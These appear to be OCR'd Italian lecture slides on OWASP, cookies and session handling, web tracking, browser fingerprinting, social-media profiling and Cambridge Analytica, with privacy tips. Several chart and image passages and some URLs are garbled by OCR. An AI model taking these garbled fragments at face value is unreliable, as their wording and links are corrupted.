Dei Test Operativo
Guida Per La
Revisione Del Codice 0
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Come si colloca OWASP nel Software Development
Life Cycle.
Progetto Top-10 considerato uno standard de facto.

https://www.owasp.org/index.php/Category:OWASP _
Top_Ten_Project

Progetti collegati di analisi dei rischi, checklist, cheat
sheet ecc.
Usato da organizzazioni internazionali.

Developer Guide:

http?://www.owasp.org/index.php/OWASP_Guide_Pr
ojec

Documento “vivo” in github

https://github.com/OWASP/DevGuidehttps://github.co
m/OWASP/DevGuide
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Secure software lifecicle
Come si colloca OWASP nel SDLC

Guide Per Progettare
Applicazioni Sicure

, . . _ . Strumenti Guida Per
Documentazione Dei Modelli Delle Minaccie e Security
e el per |'analisi
Requisiti E Dei Rischi : Test e
: . . statica del
Security Testing Guide _ N Strumenti
OWASP Q ?:;?a Per | 7;1 Test\
LN N Y| ¥ | I/ - 1N
I I I A I
Requisiti Verifi
e cases Design  Testplans odice  ERisqitati  Feedback
Dei Test Operativo
Guida Per La
Revisione Del Codice 0
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Owasp Testing Guide:

https 1:://www.owas,p.org/index.php/OWAS P_Testing P
rojec

(esce da una costola della developer)

Code Review Guide:

https://www.owasp.org%/index.php/Category:OWASP_
Code_Review_Projec

Guida alla revisione del codice in ottica di sicurezza,
in uscita (8/2017) la versione aggiornata

Assessment e pentest tools:
https://www.owasp.org/index.php/Phoenix/Tools

Altri progetti “chiave”:

https://www.owasp.org/index.php/OWASP_Project_In
ventory#Flagship_Projects
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Secure software lifecicle

Classificazione dei progetti OWASP:

*Flagship Projects (strategici)

*Lab Projects (stabili, hanno prodotto
output)

Incubator Projects (immaturi, non
adatti ad un ambiente di produzione)
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Pagina dei progetti:
https://www.owasp.org/index.php/OWASP_Project_In
ventory#Flagship _Projects
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Secure software lifecicle

Flagship Projects

* Tools: Zed Attack Proxy, Web Testing Environment, OWTF,
Dependency Check

* Coding: ModSecurity Core Rule Set, CSRFGuard,
AppSensor

* Documentazione: Application Security Verification
Standard, Software Assurance Maturity Model (SAMM),
AppSensor, Top Ten, Testing Guide
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Zed Attack Proxy (manual testing, attack), Web
Testing Environment (distro tipo Kali), OWTF (pen
test e test in generale), Dependency Check
(verifica CWE dipendenze).

ModSecurity Core Rule Set ("pluggable” set of
generic attack detection rules that provide a base
level of protection for a web application),
CSRFGuard (Java per attacchi CSRF), AppSensor
(IDS, IPS applicativi).

Application Security Verification Standard (checklist,
best practice ecc.), Software Assurance Maturity
Model (SAMM, vari documenti per costruire
strategia di software sicura), AppSensor (doc
progetto), Top Ten, Testing Guide
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Secure software lifecicle

Per ulteriori informazioni:

*\W3 security guidelines

* \Web Application Security Consortium

* Are You Part Of The Problem?

* Top 25 Most Dangerous Programming Errors

* Tools vari
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https://www.w3.org/Security/
http://www.webappsec.org/

https://www.smashingmagazine.com/2010/01/web-se
curity-primer-are-you-part-of-the-problem/

http://cwe.mitre.org/top25/

https://opensource.com/article/18/9/open-source-tool
s-rugged-devops
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Cookie e altri strumenti di profilazione

Gestione delle sessioni

HTTP stateless — HTTP Cookie

Tracking
Session Management
Personalization
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HTTP e un protocollo stateless.

Gli application server web mantengono la sessione
utente in vari modi, il piu diffuso dei quali utilizza |l
meccanismo dei Cookie
http://en.wikipedia.org/wiki/HTTP_cookie

Usi principali dei cookies: tracking, session
management, personalizzazione

Tracking:vengono utilizzati per tracciare la
navigazione dell'utente (privacy, third party, nuova
normativa UE).

Session garantiscono continuita della sessione,
authentication cookie servono per associare un
session token ad un utente: unico e non predicibile.
Serve per sapere se un utente ha fatto logon e con
quale userid. Attaccabile sia lato client che lato
server (vedi XSS). Allegato ad ogni richiesta web
(quindi ovviamente https).

Personalizzazione della sessione HT TP mantenuta.
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Cookie e altri strumenti di profilazione

Gestione delle sessioni

GET /index.html HTTP/1.1
Host: www.example.org

HTTP/1.0 200 OK

Content-type: text/html

Set-Cookie: theme=light

Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021
10:18:14 GMT

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
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Cookie e altri strumenti di profilazione

>Session
~Persistent
-Secure

~Httponly, samesite
>Third-party
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Tipi di cookies

e Session (relativi alla sessione in corso, si
cancellano alla chiusura del browser)

* Persistent (rimangono nel browser fino alla
data di scadenza)

» Secure (per la gestione delle sessioni aperte,
viaggiano solo via https)

» Httponly, samesite (servono per mitigare
attacchi tipo XSS)

* Third-party (per tracciare la navigazione
dell'utente, si possono disabilitare nel
browser)
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Cookie e altri strumenti di profilazione

Tracciare utente usando third-party cookies

Example.com site2.com

Adv.com Adv.com
A

SC: ...example.com TPC: ...adv.com(example.com)
TPC: ...adv.com(example.com)
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SC=session cookie

TPC=Third party cookie

Pubblicita comportamentale (spiegazioni su come
configurare i browser)

http://www.youronlinechoices.com/it/

(Non c’entra niente ma pud sempre essere utile a
questo punto: http://justdelete.me )

(Verificare che cookies usa un sito
https://webcookies.org )

(il browser ti racconta cosa sta vedendo nella tua
navigazione https://clickclickclick.click )

(quanto sei protetto nella navigazione
http://webkay.robinlinus.com/ )
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Cookie e altri strumenti di profilazione

Tracciare utente usando HTMLS “ping”

<a href="http://lapcatsoftware.com/" ping="http://underpassapp.com/">Ping Me</a>
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Funzione di auditing introdotta da HTML5S

https://html.spec.whatwg.org/multipage/links.html#hy
perlink-auditing

lo clicco un link e un altro link viene informato a mia
Insaputa (se non guardo il codice html).

Era una funzione disabilitabile ora & attiva di default
In tutti i browser (forse no Firefox?).
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Cookie e altri strumenti di profilazione

GARANTE

¥ | PER LA PROTEZIONE i i ie? i
|| PR LA ROTEZIONE Il tuo sito/blog installa cookie? Cosa devi fare

IMPORTANTE: per unia cormtta interpretazione degh adempiments Segnalarli Inserire il banner & Notificare
del

previst, s s 2
Garante dell'8 maggio 2014 e del «Chiarimenti in merito nell'informativa
all'attuazione della normativa in materia di cookies,
T documenti son disponibill su wiww. Garantepehacy, Bfcookis Art 2, par. 5, Dircttiva 2009/136/CE  Art 2, par. 5, @ 2009/136/CE  Art. 37, comma L, bett. d),
eart. 122, comma 1, Codice privacy e art. 122, comma 1, Codice privacy Codice privacy

22,
CHE TIPO DI COOKIE INSTALLI? LEGENDA: [ i previsto ) imente non previst

Nessun cookie 0 0 0
Tecnici o analitici fia ‘-\;5:..‘]
prima parte \_‘-__\‘:_, i

Analitici terze parti
(e son adottati strumenti che riducono i -

patere identificative dei cookie € La terza i /;‘.,\
parte o increcia be informaziond raccoke Y4
con altre di cul gi dispone) - vedi punts 2 LY
et «Chiseimenti in merita allathaazone e

— delly norrmativa in materis di cookies

richiedere il consenso

ai visitatori e

(e f}‘p (>
|
1

Analitici terze parti
adottati

(== NON sona strumenti che riducono . .
ot o e b o T o 2 V) p
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—_ —_— Chisriments in merito all sttuszione della _— =
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Normativa sull’utilizzo dei cookies da parte dei siti.

Provvedimento del Garante della Privacy dell'8
maggio 2014,

http://www.garanteprivacy.it/cookie
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Cookie e altri strumenti di profilazione

Ma a volte basta molto meno:
Panopticlick
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https://panopticlick.eff.org/

Panopticlick: progetto della Electronic Frontier
Foundation

Elementi identificativi del browser:

» User Agent (Mozilla/5.0 (Windows NT 10.0;
WOWG64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143

Dimensioni schermo

Font installati

Estensioni installate

Plugin installati

* Timezone

* Lingua

* Ecc.

https://amiunique.org/
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Cookie e altri strumenti di profilazione

Oppure ancora meno:

Client

Browser Info

%[ Rendering ]—D[ Processing ]—b Hashes

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 79

|dentificazione dell’'unicita dell’'utente in base a
caratteristiche dell’hardware, del software, del
motore grafico di rendering ecc.

Indentificazione cross-browser dello stesso
utente (diverso da identificazione dello stesso
utente su piu PC grazie a persistenza del
browser, tipo Chrome).

https://arstechnica.com/security/2017/02/now-sit
es-can-fingerprint-you-online-even-when-you-us
e-multiple-browsers/

http://www.uniquemachine.org/
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Cookie e altri strumenti di profilazione

Ma i social battono tutti ...

BRUTIY b sicturs, L argusn | 54 i .Y, s Prmaraly gt Bl Wi | Aorly Megic Smac - o= | 8 Duia Zata b
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Likely to prefer confort when buying clothes Not likely to

Not likely to be influenced by brand name when making product Not likely to like adventurous sports

purcheges Not likely to like outdoor activities

Not likely to be influenced by product utility when making

" hely e erned a 14 e eny 2

product purchases Likely to be concerned about the environment

t : cans a 8 5 o

Mot likely to be influenced by online ads when making product Not likely to consider starting a business in next few years
purchases

Not Llikely to be influenced by social media when naking product
purchases

Likely to be influenced by family when making product
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Facebook usa strumenti suoi per raccogliere e
correlare informazioni sull’'utente.

Progetto DataSelfie, intelligenza artificiale per
capire cosa Facebook pensa di noi.

http://dataselfie.it
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Cookie e altri strumenti di profilazione

Bastano 68 “like”... ==

Smokes Cigarettes

Drinks Alcohol

Caucasian vs.

I I L 1 1
0.00 0.25 0.50 0.75 1.00
Area Under Curve
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Bastano 68 “Like” su Facebook per identificare
con buona probabilita molte caratteristiche
della persona (studio Prof. Kosinski)

http://www.pnas.org/content/110/15/5802. full

App che raccoglie i dati:

http://mypersonality.org/wiki/doku.php

Scopri cosa Twitter e Facebook pensano di te:

https://applymagicsauce.com/
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Cookie e altri strumenti di profilazione

Cambridge Analytica - Facebook

A shady UK data analytics company, with the help of a
24 year old tech genius developed an innovative
technique to ‘hack’ facebook and steal 50 million user
profiles. Then they used this data to help the Trump
and Brexit campaigns psychologically manipulate
voters through targeted ads. The result was Vote
Leave ‘won’ the UK'’s Brexit referendum and Trump
was elected president in the US.
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Il caso Facebook — Cambridge Analytica
E c’é chi con questi dati influenza la democrazia
https://cambridgeanalytica.org/

http://www.ilsole24ore.com/art/commenti-e-ide

e/2017-01-10/cosi-abbiamo-aiutato-trump-vinc
ere-210213.shtml
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Cookie e altri strumenti di profilazione

Cambridge Analytica - Facebook

A shady UK data analytics company, with the help of a
24 year old tech genius develqped an innovative

technique to ‘hack’ faceb an@ steal 50 million user
profiles. Then they us Jlata to help the Trump
and Brexit campaign§ ologically manipulate

voters through tafyete ddS The result was Vote
Leave ‘won’ rexit referendum and Trump
was elect sident in the US.
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Il caso Facebook — Cambridge Analytica
E c’é chi con questi dati influenza la democrazia
https://cambridgeanalytica.org/

http://www.ilsole24ore.com/art/commenti-e-ide
e/2017-01-10/cosi-abbiamo-aiutato-trump-vinc
ere-210213.shtml

Modello Ocean

https://en.wikipedia.org/wiki/Big_Five personalit
y_traits

Massimo Carnevali - Creative Commons 4.0 International: BY-SA

83


https://cambridgeanalytica.org/
http://www.ilsole24ore.com/art/commenti-e-idee/2017-01-10/cosi-abbiamo-aiutato-trump-vincere-210213.shtml
http://www.ilsole24ore.com/art/commenti-e-idee/2017-01-10/cosi-abbiamo-aiutato-trump-vincere-210213.shtml
http://www.ilsole24ore.com/art/commenti-e-idee/2017-01-10/cosi-abbiamo-aiutato-trump-vincere-210213.shtml
https://en.wikipedia.org/wiki/Big_Five_personality_traits
https://en.wikipedia.org/wiki/Big_Five_personality_traits

Cookie e altri strumenti di profilazione

Cambridge Analytica - Facebook

* Consenso dell’'utente

* App NON di CA, 270.000 download

«270.000 + amici e amici di amici = 50.000.000 profili

* Dati venduti a CA (violazione termini servizio = solo
una questione di soldi)

* Decine di migliaia di sviluppatori

* Uso politico dei dati ... ma non sempre utile
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Gli utenti hanno scaricato una app e hanno dato
il consenso all’'accesso ai loro dati.

App sviluppata da Prof. di Cambridge scaricata
da 270.000 utenti.

Fino al 2014 il default era i miei amici vedono i
miei dati.

270.000 + amici = 50M profili

Chi ha sviluppato App ha venduto i dati a
Cambridge Analytica (violazione termini di
servizio, doveva dare i soldi a FB)

Qualche decina di migliaia di sviluppatori
avevano gli stessi dati

CA li ha usati per vendere servizi ai politici (ma
ha anche toppato in alcune elezioni)

https://medium.com/@CKava/why-almost-everyt
hing-reported-about-the-cambridge-analytica-fac
ebook-hacking-controversy-is-db/f8af2d042
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Al+ML+Statistica+Sociologia

Facebook Pages

=== Machine Learning finds Predictive Influence of each Page on Personality Scores -----»
Ok, If we

Personality

get caught | [N BT
UEFC The Colbert George Bass Pro NFL "The  here'sthe | | ience"

 Takei  Meditation Shops  Network Bachelor"  story...
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Usando strumenti di Artificial Intelligence,
Machine Learning (addestrate su grandi volumi
di profili), elementi di statistica e di sociologia
si arriva alla costruzione di profili
estremamente precisi.

https://towardsdatascience.com/weapons-of-mic
ro-destruction-how-our-likes-hijacked-democracy
-c9ab6fcd3d02

Modello Ocean

https://en.wikipedia.org/wiki/Big_Five personalit
y_traits

Estroversione (Dinamismo,Dominanza)
Amicalita (Empatia, Amicizia)

Coscienziosita (Scrupolosita, Perseveranza)
Stabilita emotiva (Emozioni, Impulsi)

* Apertura mentale (Cultura, Esperienza)
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Cookie e altri strumenti di profilazione

Predictions More Accurate than
Humans

/ Openness
L
- Agre €55
Spouse (0.58) f————————=—— - ——- - L
Ce ' A (056) === == mm e Iy X d
- - < i
Family (0.50) k=== ———mmm e, T ™ o Five-Trait Average
Humans’ Average Accuracy (0.49) f————— —;.\/’v(\ . & y
— \\ \\ i
- 3 >~ Neuroticism

Accuracy (self-other agreement)

Number of Facebook Likes (log scaled)

W, Y., Kosingkd, M. & Stillwell, 0. (2015)
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Con 300 like si arriva vicino alla precisione del
proprio marito/moglie.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA

86



Cookie e altri strumenti di profilazione

Consigli per MITIGARE il rischio

* Impostazioni browser

* Impostazioni dei social

* Estensioni del browser

*La webcam (o le webcam di casa)
* Reagisci

* Informati su chi si informa su di te
* Riprenditi i tuoi dati

» Occhio alla georeferenziazione
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Impostazioni privacy del browser (no 3rd party cookies,
no localizzazione ecc.)

Impostazioni privacy dei social
https://mypermissions.org/

Estensioni per bloccare pubblicita e tracker

Proteggi la tua webcam (sia in senso logico che fisico):
https://www.insecam.org/

Sii proattivo e seqgui le tue tracce digitali:
https://myshadow.org/

Ti controllano mentre leggi le notizie:
https://trackography.org

Esercita il tuo diritto di accesso ai dati e chiedi i dump
di quanto in possesso ai siti

Occhio alla georeferenziazione delle foto, dello
smartphone (dell’auto ...)

Massimo Carnevali - Creative Commons 4.0 International: BY-SA

87


https://mypermissions.org/
https://www.insecam.org/
https://myshadow.org/
https://trackography.org/

Cookie e altri strumenti di profilazione

Ancora piu paranoici

*Solo HTTPS

* VPN

* OpenDNS

* Inseguire e bloccare i “tracker”

» Usare una distribuzione live protetta
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Https ovunque, accedere solo a servizi https e
verificare sempre il lucchetto verde. Estensioni del
browser.

Utilizzare un servizio VPN a pagamento affidabile (50%/
anno)

Non controllo i due estremi del tubo ma blindo il
traffico di attraversamento del provider.

Usare OpenDNS come DNS. Piu sicuro dei DNS dei
provider o di quello di Google 8.8.8.8. Le query DNS
lasciano molte tracce.

Inseguire e bloccare i tracker con strumenti come
Ghostery https://www.ghostery.com/ o Ublock Origin
https://en.wikipedia.org/wiki/UBlock_Origin

Usare una distro live protetta tipo Tails
https://tails.boum.org/ basata su Debian+tor
https://www.torproject.org/
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Cookie e altri strumenti di profilazione

Create rumore di sottofondo
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Adottare comportamenti non standard, generare
rumore di sottofondo.
Esistono strumenti ad hoc:

http://makeinternetnoise.com/
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A proposito di paranoia

CAPISCO. € TI RENDI GONTO GHE
NO. It Gc?"f,’f"o £ cartivo| DOVREBBERO [MPIANTARE UN MICROFONO
SPIA TUTTI. SU CIASCUNO DI NOI, £ UNA TELECAMERA
CHE POSSA SEGUIRCI OVUNQUE
€ UN DISPOSITIVO DI TRACCIAMENTO

N
cosa | MOS0 L M0 ELHETTO ANTH-T I oy peug

CHE $14 UN
TANTINO
PARANOICO?
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| SPERO GHE $14 COMODO DORMIRCI DENTRO.
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 Tin foil hat: https://en.wikipedia.org/wiki/Tin_foil hat
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Nota

Se e gratis il prodotto sei tu!
(hai letto le condizioni d’uso?)
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Se e gratis il prodotto sei tu quindi chiediti come fanno a
monetizzare.

Valuta gli strumenti che stai usando: € free (non nel senso
di gratis ma li libero)? E’ open? Cui prodest? Chi lo
produce? Che reputazione ha I'azienda? Qualcuno ha
mai pubblicato un audit?

Se riesci usa strumenti alternativi a quelli mainstream:
telegram, posta cifrata, tor, https://duckduckgo.com/
foxit reader, Libreoffice ecc.

Se usi software con licenza hai letto le clausole in piccolo?
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https://duckduckgo.com/

Support

Legal Hardware Software Sales & Support nternet Servic Intellectual Property N

Termini e condizioni dei Servizi Media Apple

garantisce di non trovarsi in alcuno di tali paesi né di essere incluso in alcuna di tali liste. Lei accetta inoltre
di non utilizzare tali prodotti per scopi proibiti dalla legge degli Stati Uniti, incluso, a titolo esemplificativo,
per |o| sviluppo, la progettazione, la produzione di armi nucleari, missili, chimiche o biologiche.

MORTAL! I CoME
(QFFERING A DEAL—

READ THE SIGN.
"BY ENTERNG THIS RocH,

S| WA YoU CANT= e
gl o /
5
A

MEPHISTOPHELES ENCOUNTERS THE E.U.L-A.
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Sapete che avete accettato questa clausola?

Esperimento con free wifi e primogenito:

https://www.theguardian.com/technology/2014/sep/29/londo
ners-wi-fi-security-herod-clause

Premio di 1000% nascosto nella licenza reclamato solo
dopo 7 anni:

http://www.pcpitstop.com/news/pitstopcode.asp
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Note

Follow the money

= Total Revenu e
N $136.8B
[ $3078
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N,

Breakdown /|
/s
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Segui i soldi, come guadagnano i colossi dell’'informatica?
Tanta pubblicita
https://www.visualcapitalist.com/how-tech-giants-make-
billions/
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